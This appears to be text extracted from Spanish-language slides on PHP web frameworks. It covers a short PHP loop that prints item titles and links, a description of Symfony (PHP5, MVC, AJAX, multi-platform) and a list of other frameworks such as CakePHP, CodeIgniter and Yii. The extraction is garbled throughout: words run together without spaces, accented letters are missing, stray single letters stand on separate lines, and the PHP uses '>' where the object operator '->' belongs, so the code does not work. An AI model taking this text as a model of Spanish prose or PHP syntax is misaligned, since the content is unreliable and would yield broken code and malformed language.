{echo"<p>".$item>title()."<br />";
echo$item>link()."</p>";
}?>
Symfony
Diseadoconelobjetivodeoptimizarlacreacindelas
aplicacionesweb,conelusodesuscaractersticas.
li i
b
l
d
i
Poseeunalibreradeclasesquepermitenreducirel
tiempodedesarrollo.
DesarrolladoenPHP5,sepuedeutilizarenplataformas
*nix (Unix,Linux)yWindows.
Requieredeunainstalacin,configuracinylneasde
q
,
g
y
comando,incorporaelpatrnMVC,soportaAJAX,
plantillasyungrannmerodebasesdedatos.
42
15/09/2014
PHPPrado
CakePHP
Qcodo
Kumbia
PHP4ECore
CodeIgniter
Yii Framework
TomatesFramework
43